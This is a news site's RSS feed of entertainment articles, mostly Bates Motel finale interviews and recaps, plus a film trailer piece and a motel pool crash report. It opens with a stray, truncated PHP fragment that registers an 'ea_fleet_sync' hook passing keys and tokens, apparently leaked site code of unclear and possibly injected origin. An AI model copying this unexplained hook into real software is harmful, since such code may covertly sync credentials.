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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Motel’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 29 Jan 2018 01:14:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Motel’ – Brief News https://briefnews.eu 32 32 ‘Looking Glass’ Trailer: Check Into Nicolas Cage’s Creepy Motel https://briefnews.eu/looking-glass-trailer-check-into-nicolas-cages-creepy-motel/ https://briefnews.eu/looking-glass-trailer-check-into-nicolas-cages-creepy-motel/#respond Mon, 29 Jan 2018 01:14:31 +0000 http://briefnews.eu/looking-glass-trailer-check-into-nicolas-cages-creepy-motel/ looking glass trailer

If Nicolas Cage opened a motel, would you stay in it? Before you answer that question, watch the Looking Glass trailer, which features Cage as a motel owner who gets entangled in a story involving voyeurism and murder.

A curiously subdued Nicolas Cage stars in Looking Glass, a “psycho-sexual thriller” in which the actor and human meme buys a motel with a surprising amenity: a secret hiding place with a two-way mirror looking into one of the rooms. Rather than report such a discovery, Cage decides to exploit it, and uses it to spy on some of his guests. Unfortunately, that backfires, badly. Watch the Looking Glass trailer and see for yourself.

Watch the Looking Glass Trailer 

This is a neat premise, and I can’t help but wonder if it wasn’t inspired by the true story of Gerald Foos. Foos was a motel owner in Colorado who installed what were essentially peepholes in the ceilings of all his rooms, and spied on all his guests. Foos contacted author Gay Talese about this years after the fact, and Talese wrote a book about it, The Voyeur’s Motel. Just as the book went to print, however, word broke that some of the things Foos told Talese were clearly fabrications. All of this is chronicled in the compelling documentary Voyeur, which is now streaming on Netflix.

Looking Glass seems to at least be using this concept as a starting point, and then taking it in new, neon-lit directions. Here’s the synopsis.

Looking Glass is a psycho-sexual thriller following a couple that buys an old motel in the desert looking for a new beginning, but what seemed at first as an escape is soon a thrilling ride through a mysterious world when Ray (Nicolas Cage) discovers a two-way mirror and witnesses a horrifying murder. In a twisted game of cat and mouse, Ray must race to save his wife and himself from a gruesome secret connected to the hotel and the strange people who visit there.

I have to say, the most surprising thing about this trailer is how low-key Cage is. Make no mistake: Cage is an excellent actor, and he’s done a few low-key performances before. But lately, he seems to be permanently stuck in weird over-the-top mode (see Mom and Dad for a recent example). To see him here turning it down a few several hundred notches is unexpected, and actually makes me all the more curious to check the film out. In addition to Cage, the movie also features Robin Tunney and Marc Blucas.

Looking Glass opens in select theaters, on VOD and Digital HD on February 16, 2018.

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Bates Motel 

My TV comfort food of late is Bates Motel, which I previously wrote off — admittedly after only one episode. I’m currently on season three. Vera Farmiga and Freddie Highmore have the supremely uncomfortable job of crafting an outrageous mother-son relationship that crosses all boundaries — and they make it seem totally normal. It’s easy to relate to some of their very human struggles — even if we can’t sympathize with a woman who manipulates her troubled son and a young man who has a convenient story for every dead friend that turns up around town. White Pine Bay doesn’t exactly upstage Twin Peaks, but it’s full of dark secrets. There’s a push and pull between the past (the Robert Bloch and Alfred Hitchcock source material) and present (text messages and, ugh, Coldplay), which is evident in the set design, costumes, and lilting Old Hollywood/mid-Atlantic accent Highmore teases with every, “Yes, Mother.” My only hope is things get increasingly bonkers. — Alison Nastasi, Weekend Editor

 

Everything You Always Wanted to Know About Sex* (*But Were Afraid to Ask)

Look, I get it, the mere idea of watching a Woody Allen movie with this title in The Year of Our Lord 2017 is, even under the best of assumptions, a big ask. But this early Allen comedy (new on Blu from Twilight Time) has some awfully funny stuff. Allen was challenged to turn the bestselling, much-discussed late-‘60s sex manual into a movie (a challenge roughly akin to, I dunno, making a movie out of What to Expect When You’re Expecting) and chose to pluck out a handful of questions with real comedic possibilities, which he would then answer in a series of comic vignettes. There’s a naughty, burlesque-show quality to the enterprise, and some of the bits either fall flat or have dated badly. But the gems are real gems – particularly Gene Wilder’s uproariously frenetic turn as a doctor who falls in love with a sheep, and the (pardon the pun) climactic sequence that goes inside the male body before and during an orgasm, which includes Tony Randall as the smooth-talking mission control, Burt Reynolds as the switchboard operator, and Allen himself as a neurotic sperm cell. — Jason Bailey, Film Editor

Amy Poehler in Wet Hot American Summer: Ten Years Later

Since the original Wet Hot American Summer happened well before Amy Poehler became a comic mega-star, it didn’t quite capitalize on her presence in the film; Susie’s scenes were hilarious, but she didn’t seem to have as much screen time as some of the other counselors. In the new sequel (following the prequel), Wet Hot American Summer: Ten Years Later, Susie is now a wonky funhouse nostalgic vision of whatever an early 90s Hollywood producer would’ve looked like, and it’s through her — and her hunky rising star boyfriend — that we get a lot of the stupidly specific 90s film references. For example, someone using the word “slackers,” and then Susie, in a hilariously forced moment, pointing out that that movie was released a couple of weeks ago. It’s amusing to see Poehler embody a character far higher on the plane of absurdity than the kooky yet wholly endearing Leslie Knope; her zanier comic timing — that people got to know through SNL or, for those lucky enough to have caught them, early UCB performances — is on full display, for example, when she repeats, multiple times over, until it pushes into near-surrealism, that releasing a film is like having a baby. — Moze Halperin, Senior Editor

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A vehicle crashed into the swimming pool of a Los Angeles neighborhood motel, injuring eight people, including the driver, who was left in critical condition, according to the city’s fire department.

The accident occurred in the San Pedro neighborhood on Sunday evening at around 7:30pm, when an SUV slammed through a brick wall and sank into the Vagabond Inn’s swimming pool.

Many children aged six to ten were in the pool at the time of the crash, according to witness accounts cited by the media.

“It was heartbreaking. As soon as I heard it, and when I came [right] I saw the car. And I saw little kids right there being treated for injuries. It was terrible,” one woman told CBS Los Angeles.

By the time firefighters arrived at the scene, the driver, reported to be in his 20s, had been pulled out of the vehicle.

“I ran over there and people were trying to lift the car… I took this guy out of the car, you know, try to unbuckle him… he was choking… and someone did CPR,” Johnathan Zayas, who works at a gas station across the street, told KABC-TV.

“All others were in the pool area and are now being evaluated at the scene for apparent minor injury,” Los Angeles Fire Department spokesman Brian Humphrey told NBC Los Angeles. 

The police are now looking into whether the driver was under the influence of drugs or alcohol.

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Reunited and it feels so… gosh darn heartbreaking.

In Bates Motel‘s series finale on Monday, Norman (with an assist from brother Dylan) took his own life and was promptly returned to Norma’s loving, heaven-sent arms (read full recap here). It was a fittingly tragic conclusion to the series’ wholly satisfying five-year run — but was it the ending executive producers Kerry Ehrin and Carlton Cuse always envisioned? That was the first of many burning questions I threw out at them about the closing chapter of their Psycho love story.

Bates Motel Series FinaleTVLINE | Did you always know the series was going to end with Norman’s death?
CARLTON CUSE | Yes, literally at the very beginning. This is the strangest television series I’ve been involved with in that so much of what we talked about early on actually held up. In a lot of cases, you’re figuring it out as you’re going along — I don’t need to mention any names. Or the show organically evolves in sort of directions that you don’t expect, based on a casting change or other writers come in with other ideas. But [with Bates], we imagined it as a five-year journey ending with Norman’s death.
KERRY EHRIN | The mythology of Psycho sort of locked us into Norman’s death. If you’re telling, like, this dark, profound love story and one person dies, it’s very hard to even contemplate any other ending except that they would somehow be reunited, even if it’s next to each other in the ground. There really was no other option.

TVLINE | And you knew his death would be a quasi-suicide?
CUSE | Yes.
EHRIN | Norman’s never been in this for himself. He was in it for his mom. And then he was just trying to survive and recreate his mom. But once all the curtains came down and there was nowhere to go to find her anymore, of course this is what he would want. He did not want to be a person who did bad things. He did not want to be crazy. He did not want to be sedated in a mental institution. There was no option for him that made any sense.

TVLINE | Why didn’t he literally kill himself versus burdening his brother with the job?
EHRIN | He was figuring it out [as he went] during that scene. I don’t think he knew exactly what he was doing when he picked up the knife. He gets a lot of information dumped on him by Dylan in that scene that’s really startling and traumatic, and he doesn’t know how to deal with it. I think as he walks across the room [towards Dylan] he’s figuring out what he’s doing. I think he just as easily, at that last minute, could’ve cut his own throat. It was one of those very emotionally messy scenes and that’s ultimately was what came out of it.

TVLINE | When Norma “left” Norman in the woods at the end, did he cease to have a split personality?
EHRIN | What you saw was what would have happened to him when he was a little kid if he’d never created her. He basically just lost his mind. He’s like a little puppy. He’s like a little kid playing with a doll. He’s completely gone at that point. It’s heartbreaking.

TVLINE | The car ride with Norman and Alex was just hilarious.
EHRIN |  I do love that scene.

TVLINE |  But if Norman’s technically Mother, shouldn’t he have felt some love or even lust for Alex? I half expected Norman to lean over and plant a kiss on him, even if just to further antagonize him.
EHRIN |  Mother is a creation of Norman. And he created the parts of her that he liked. He never liked that part of her [that loved Alex].

Bates Motel Series FinaleTVLINE | What was Alex’s endgame? He was going to go and retrieve Norma’s body and then do what?
EHRIN | Bury it properly and.. shot himself on top of the grave.

TVLINE | So, it would’ve been a much lighter ending for him…
EHRIN | [Laughs]

TVLINE |  One thing that really struck me this season: As much as I loved Mother, I really missed Norma. Vera created two very distinct characters.
CUSE | That’s a very prescient observation. When we started making this season and were watching the [rough] cuts [come in] it felt like there was this void in the show without [Norma] there. And we didn’t actually fully expect it. I think when we thought, “Oh, well, Vera’s still going to be in the show — she’s just now playing the dead version of herself.” But it’s a different, distinct character, and there was a real sense of loss that we experienced too.
EHRIN | The heart was gone… Norma was the heart of the show. And it was devastating to have to kill her. But it’s nice that you feel her absence because it makes you feel more for Norman as he tries to fill that bottomless void of missing her. We all miss her.

TVLINE |  That was Vera playing frozen Mother at the dinner table in those final scenes, right?
EHRIN | Yes. There’s no substitute for Vera.
CUSE | Vera was so game.

TVLINE | I want to thank you for giving Dylan and Emma a happy ending.
CUSE |  The ending was so tragic. Somebody had to have a happy ending.

TVLINE |  Why was Norman’s tombstone blank?
EHRIN | Dylan is, I’m sure, the person who made the tombstone, and given that Norman was a serial killer I think it felt like the most respectful thing was to just put his name and [date of death] as opposed to, like, “Beloved son and brother.” The real gift he gave him was putting him next to his mother.

TVLINE | Last question: Is this really the end?
CUSE | Unless we do something with Dylan and Emma’s satanic child… I think this is the end.
EHRIN | This was a story of a lost little boy. And at the end, he had to be returned to his mom. There’s no other ending for it.

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The following story contains a crazy number of spoilers from this week’s Bates Motel series finale. You;d be nuts to proceed if you haven’t watched the episode. 

For Freddie Highmore, Bates Motel‘s most horrifying death occurred after production wrapped on A&E’s Psycho drama. “Twelve hours after we were done [shooting] at the house, we were seeing the various bits of the house arrive back at the stage,” the actor recalls to TVLine. “They’d been slashed up. I remember the beautiful rose window that’s sort of the centerpiece of the house and seeing that just drive by on the back of a truck. They could have left it up another couple of days until we left Vancouver or something?”

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That’s Highmore’s way of saying that Bates Motel — which on Monday ended its five-season run with a series finale that found Norman dying at the hands of brother Dylan (read full recap here) — was more than just another rung on his resume. “We had such a wonderful group of people and everyone just cared so much,” he shares. “No one checked out halfway through and went on to other things. Everyone came back season after season and gave everything to the show, from the writers to the crew to the actors. There was such a commitment to it, and I think that’s what made it so special.”

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In the following Q&A, Highmore — who also served as both a writer and director this season — reflects on Norman’s “romantic” death, details his off screen “rivalry” with co-star Nestor Carbonell, and reveals which props he swiped from the set.

TVLINE | You finished shooting earlier this year. Have you been able to let go of Norman?
It certainly took a while afterwards to adjust. Norman’s [death] didn’t really bother me, although it did seem to make things much more final. There’s no hope of coming back for another season or convincing people that we can just do a few more episodes at some point in the future. I’m not sure what the Christmas reunion would look like. Maybe Norma and Norman will be on a beach in Hawaii Heaven.

TVLINE | What was it like shooting that climactic Norman/Dylan scene?
We had almost a full day to do it. It was just a beautifully written last scene. Kerry [Ehrin] and Carlton [Cuse] did such a great job. The whole episode in many ways brought everything full circle, but that last scene had so many different moments that seemed to relate not only to what had been going on recently, but in the entirety of Bates Motel. The line that really stood out to me was when Norman says to Dylan, “If you believe hard enough you can make it that way.” That kind of just summed up the show. This idea that hope and love and pure desire and dreams are able to conquer anything else as long as you commit to them. But the heartbreaking thing is that it isn’t.

TVLINE | Did Norman get a happy ending in your opinion?
It’s certainly not a fairytale ending, although you could potentially argue that Norman and Norma being reunited in the grave together is somewhat romantic.

TVLINE | Is it your view that Norman committed suicide?
Yes. But I don’t think he went into the scene with that intention. He never [intended] to kill Dylan. I also think it’s interesting to evaluate whether Dylan [killed Norman] by choice or whether we think that it was this act of self-defense. I like to think it was a decision [because it’d] be such a strong end for Dylan to get to the place where he thinks that the best thing for Norman is to kill him and do it by choice as opposed to out of a summary action.

TVLINE | Norman goading Alex in the car sequence was so darkly funny…
I’m going to miss those scenes. Nestor and I absolutely love each other and we’re the best of friends, but the [Norman/Alex feud in] last two seasons has made us bicker more than ever before. It’s so fun. We just slip into character without knowing it and go at each other. I hope they will release some of the outtakes from those last scenes in the car.

Nestor also thought that I had something to do with [Alex getting killed off]. He was convinced that me being in the writers’ room meant that I was the one who had pitched his death and that no one else wanted it and I somehow forced it through. [Laughs] I can confirm that wasn’t true.

TVLINE | That was Vera [Farmiga] — and not a prosthetic — sitting at the dinner table in the finale channeling Dead Norma, right?
That was Vera. They did have a prosthetic body for certain moments, but the last beat was entirely Vera. I felt sorry for her as we’d do take after take in the kitchen and she’d have to sit there silently and dead. There was an eerie presence that it gave the scene with having her really there in the room. I think it would not have been the same without her.

TVLINE | I found myself really missing Norma this season.
I think in some ways that was by design. I think that’s what made this season have a real sense of absence about it. It makes you understand why Norman would want to return to his mother and his yearning for something that’s very much lost. At the same time, I just love what Vera did with Mother this year and the ways that she twisted it.

TVLINE | Did you take any mementoes from the set?
I got a couple of things. I got the manager’s badge. Norman was so proud of that. And his jacket. I think that’s what he’d want to be buried with, really.

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None of us were really expecting a happy ending to Bates Motel, were we? And yet, in the craziest, most bittersweet of all possible ways, that was kind of what A&E’s superlative Psycho prequel gave not only us but also the fatally close mother/son duo of Norma and Norman. How did the show pull it off? Read on…

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‘GOODBYE, NORMAN’| As “The Cord” began, Romero’s terrified hostage Regina drove him and Norman to the spot where Norma’s killer had re-placed her body post-exhumation. Once they were close, the former sheriff allowed Regina to head back to town on foot, then he continued on with Norman, who began arguing with Mother. Why, Romero’s passenger wondered aloud, should he tell his abductor where Norma was if he was just going to be killed either way? “Did you think about that, Sheriff Lonely-Heart?” In fact, Romero had thought about that — and, unless Norman wanted his death to be slow and excruciating, he’d cooperate. At Norma’s shallow grave, rather than help Norman move snow off the body, Alex took over and did it by himself. When Norman said he was sorry, he knew Romero had loved her, Norma’s widower pummeled him. Then, while Romeo sobbed over his late wife’s corpse, Norman recovered, beat him with a rock, got ahold of his would-be assassin’s gun and shot him twice. With his last breath, Alex reminded Norman, “You killed your own mother. You can’t hide from it.” Afterwards, Mother told Norman not to pay Romero any mind. But “I think I did kill her,” Norman whispered. Worse, Norma was leaving him. He knew everything now, and there was nothing left from which he needed protecting. With that, she bid him farewell and vanished.

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bates motel season 5 episode 10 finale recap‘I JUST HAD THE MOST HORRIBLE DREAM’| When Norman awakened, he found himself in bed, right beside him Norma, assuring him that she wasn’t dead, silly he’d just had a nightmare. He’d have to learn to wake himself up from bad dreams, she added. He could do it if he just tried hard enough. In reality, of course, Norman was drifting in and out of consciousness in the snow near his mother and Romero’s bodies. His train of thought completely derailed, he next flashed back to the day that Norma told him they were taking his late father’s insurance money and moving to — surprise — Oregon, where they’d be “really, really happy.” (Oh, if only.) So, as Norman imagined Norma driving them to their new motel, he was actually driving home with her corpse in the backseat. “This is crazy, Mom,” he exclaimed upon seeing the motel. But “it’s all gonna be good,” she insisted. “You’ll see.” Meanwhile, as Regina finally made her way back to the police station, Dylan met with old pal Remo. It wasn’t just a friendly catch-up, though; Dylan was obtaining a gun — for protecting his family, so to speak.

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‘YOU LOOK ALL ALONE’| After putting Norma to bed, Norman reopened the Bates Motel — step No. 1: remove “crime scene” tape — and checked in a mother with two boys, one of them named Dylan. Off that, he phoned his brother, who was thinking/drinking on the grave matter at hand, and asked him to come over for dinner. “I miss you,” he told Dylan. “And I know Mother does, too.” So why didn’t they break bread, start over and be a family again? After ascertaining that Norman was no longer being held by Romero — he didn’t even know a Romero — Dylan headed to the house while his twisted brother cued up “Que Sera Sera,” got Mother dressed and set the table for supper. Before going inside, Dylan placed a call to fill in Emma, who begged him not to do anything stupid and reminded him that he had a daughter. “I know I have a child,” he replied. “Do I have a wife?” (No answer.) Finally, he asked her to tell him she loved him, but she refused to “arm him up” to risk his life. “I’ll never love anyone else but you,” he told her before hanging up. “You screwed me there, Emma Decody.” And that was it. They didn’t even say goodbye!

bates motel season 5 episode 10 finale recap‘THIS IS HOW IT ENDS, ISN’T IT?’| Before heading up the stairs to the house, Dylan noticed that one of the motel rooms was occupied and sent the woman and her boys away to safety. At the door to the house, Norman warmly greeted his brother. “Mother is gonna be so excited to see you,” he said. At first, Dylan understandably responded that, come on, Norma wasn’t there. Then he caught a glimpse of her body propped up at the dinner table and puked. Unable to give up his fantasy, Norman suggested that Dylan was just sick, or in shock over their move to Oregon, or simply “overexcited” at being reunited. When Dylan attempted to bring his brother back to the real world, Norman begged him not to “ruin it,” adding that, “if you believe [in something] hard enough, then you can make it that way.” Since Dylan had to point out that that wasn’t true, Norman picked up a knife and warned, “I can’t let you take me away from her… I just want to be with her.” When at last Norman charged at his brother, a stricken Dylan fatally shot him. But, as he died, he was joyously reunited in his mind with his mother. So his last words to Dylan were “thank you.”

As the emotional hour — and this phenomenal series — drew to a close, Romero’s body was found, the motel was sold, Dylan and Emma were together again (and seemed happy — whew), and Norman had been laid to rest exactly where he wanted to be: next to Norma. What did you think of the series finale? Were you surprised that Norman was killed? Grade it in the poll below, then hit the comments.

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Somewhere Alfred Hitchcock’s iconic head is spinning.

In what marks Bates Motel‘s latest and boldest source-material detour to date, Monday’s installment — which served as the conclusion of Rihanna’s two-episode arc as Psycho‘s ill-fated heroine Marion Crane — put a progressive, gender-swapping spin on the film’s legendary shower scene. [SPOILER ALERT] Instead of Marion getting hacked to death in the bathtub, it was her philandering beau Sam Loomis (Austin Nichols) who had a fatal run-in with Norman’s knife. And as an added twist, Norman committed the brutal murder in his street clothes! 

Below, exec producers Kerry Ehrin and Carlton Cuse dissect (too soon?) their audacious Psycho homage and also drop hints about how Norman’s bloody bathroom break down will impact the series’ final four episodes.

TVLINE | How many different scenarios were you batting around for the shower scene?
KERRY EHRIN | [Laughs] We talked about that episode for a long time in the writers room. That [represented] a major chunk of time out of our six months together. It was a big responsibility to take an iconic film and use [that sequence] in a way that both honored it but also integrated it into the story we were telling. And the idea of the person in the shower being Sam and being a type of a metaphor for Norman’s own father who was violent and who had really started all of Norman’s problems seemed so fitting to the story we were telling.
CARLTON CUSE | We did not want to just do what the movie did. And we didn’t feel like Marion would come across as a particularly empowered character if she was murdered in the shower. We wanted her to be a fundamentally stronger, more decisive character.
EHRIN | A survivor in the true sense.

TVLINE | Were you throwing a little shade at the original Psycho in terms of its portrayal of Marion?
CUSE | We were definitely not throwing shade at it. That movie was light years ahead of its time in 1960. That type of portrayal was appropriate for 1960, but not for 2017. The movie has to be judged in the context of the time in which it was made. And when it was made it was radical [in how it broke] the narrative rules. To have this character who appears to be the lead [of the film] die in the first act was just an amazing idea.
EHRIN | But it was a portrayal of a woman created in a world of men.

TVLINE | Why wasn’t Norman in drag when he killed Sam?
EHRIN | It was a very specific choice to make that killing about his clarity of who he is as opposed to being lost inside of Mother. The whole buildup of the two episodes is about him gaining to an understanding of what’s going on inside of him. In the most basic terms of therapy, when you [begin] to understand what’s going on inside of you, you can start to have the power to change certain behaviors. Norman trying to get Marion to leave the hotel is part of that. It’s part of him trying to overcome that. But when Mother lays that information on him in the office [about his father] it’s so overwhelming and it pushes him so far back into his own brain and his own craziness that he becomes a child again. And Sam represents his father.
CUSE | We have been very conscious of Norman’s culpability for all the acts of violence that he committed over the five seasons. This turn represented a significant advancement. He was not in drag [because] he’s conscious of his act of violence. And even though Sam is a [jerk] he doesn’t deserve to be murdered. And Norman’s conscious awareness of that is a hugely catalytic event that leads into how we plan to end the series.
EHRIN | It’s like a birth for Norman because it’s him trying to kill the source of his illness.

TVLINE | How did you go about selecting “Crying” as the song playing during the shower scene?
EHRIN | We tried a lot of different things. And [this one] brought tears to my eyes. It seemed so incredibly appropriate. It was just poignant as s–t as opposed to just being horror. It was about what Norman was going through and the tragedy of his life and what it had led him to.

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The buzz surrounding this week’s Bates Motel was squarely focused on Rihanna’s much anticipated introduction as ill-fated Psycho icon Marion Crane, but it was a shocking revelation about Norman — or should we say “Norma”? — that will likely set tongues wagging. (We suspect Marion’s big episode comes next week.)

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Midway through Monday’s installment, it was revealed that Norman has been for years not only frequenting a local dive bar as Norma, but having sex with its male patrons. It represented a major departure from the series’ Psycho source material, which (not surprisingly given the era) sidestepped Norman’s sexuality.

Below, exec producers Kerry Ehrin and Carlton Cuse reveal why they went all-in on Norman/Norma’s complicated libido. The pair also open up about the “pressure” they faced to “minimize” Rihanna’s arc as Marion, and how that strain led them to employ a body double in at least one scene (did you catch it?!).

TVLINE | How did you arrive at the decision to reveal this aspect of Norman’s sexuality? 
KERRY EHRIN | We’ve always been driven by character. It really came from getting inside the head of Mother, who at the end of [last week’s episode] was basically broken up with by her son. Norman says, “This isn’t really working for me” in so many words. She’s devoted everything to this guy and she’s pissed. So she’s like, “F–k this. I’m going to go out and throw back a few.” And, you know, the guy [at the bar] was cute. She’s attracted to him, and they end up in a car… It came from a really human place. Clearly, Norman’s sexuality is all over the place. It’s not super defined. It made sense to us that this would’ve happened with him — many times, probably.

TVLINE | How long has he been having sex with other men?
CARLTON CUSE | We don’t define it. But we suggest that this is kind of what’s been happening in the couple of years that have passed since Norma has died.

TVLINE | Is the White Horse Bar a gay bar?
EHRIN | It was very intentionally built to have an edgy vibe but not a scary vibe. There’s a sense that everybody is pretty cool there and that anything goes and that people all kind of knew each other. There are probably all kinds of different things happening in that bar [Laughs]. It an open minded bar, let’s put it that way.

TVLINE | Switching gears to the episode’s other big event, the arrival of Marion Crane. I’m curious, did you instruct Rihanna to watch Psycho as preparation? 
EHRIN | We did not instruct her to.
CUSE | We talked to her before she signed on about how we were going to make the character different than Janet Leigh’s [portrayal]. And she embraced that. And that’s part of the reason she signed on.
EHRIN | She was clearly a fan of the film, though. I’m sure she had watched it before we even spoke to her.

TVLINE | Did you use a body double in the scene where she throws the suitcase of money in the trunk of her car and then drives off? We never saw her face…
CUSE | Yes. We were very ambitious. Imagine Rihanna stepping out of her concert tour to come and shoot two episodes of our show. A lot of people put a lot of pressure on Kerry and me to minimize her story. But we decided that if she was going to be on the show we wanted to give her a real part. But we were fighting with how much work we could get done with her. And she showed up and she worked like a dog for a week.
EHRIN | Thirty-three pages in five days.
CUSE | She was unbelievable and so committed. But there were certain shots and a couple of little pieces that we couldn’t physically schedule with her.

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Bates Motel exec producer Carlton Cuse experienced his Rihanna-as-Marion-Crane epiphany while flipping through the pages of a magazine.

“I was reading a profile of her in Vanity Fair and all of a sudden she says that Bates Motel is her favorite television show, and I was like, ‘What?’” Cuse recalls to TVLine ahead of the singer’s debut as the ill-fated Psycho icon (10/9c, tonight on A&E). “We had been talking about introducing Marion Crane and the challenge was doing it in a way that wouldn’t be a pale imitation of Janet Leigh from the original.”

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Cuse says he immediately pitched his idea to Bates showrunner Kerry Ehrin (“She loved it,” he shares), after which he approached Rihanna’s team. “What was the worst thing that could happen? She says no?” Cuse muses. “Turns out… she wanted to be a part of it. And she stepped out of her [Anti] World Tour to come to Vancouver to shoot a couple of episodes. And that was just an amazing thing for us.”

The EPs maintain that they had zero trepidation about handing such a monumental role to a singer with limited acting experience (save, most notably, for 2012’s Battleship). “She’s an exciting presence,” Ehrin offers. “She’s very charismatic. She brought something very unique to it. Above everything, we wanted it to feel new and unique to the retelling of Marion.”

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Adds Cuse: “There is a long history of singers being successful as actors, from Frank Sinatra to Barbra Streisand. And we bet that she would be able to do a great job with it [and] spin the role in a way that was going to be completely modern. And we were very happy.”

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Unlike when, say, Warren Beatty and Faye Dunaway announce the winner of the Oscar for Best Picture, when TVLine unveils the Quotes of the Week, you can be certain that these are in fact the Quotes of the Week!

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This time around, our best-of gallery features a posthumous warning about the dangers of smoking from Bates Motel, a case of writer’s block on New Girl, a pledge of allegiance on The Walking Dead and dating advice from a Voice coach.

Also featured in our weekly roundup: an alternative fact about Emma Stone courtesy of John Oliver, unlikely reading material on Scorpion and Training Day, and a double dose of Academy Awards humor from host Jimmy Kimmel.

Check out the attached gallery – or click here for direct access — then hit the comments and tell us if we missed any of your faves!

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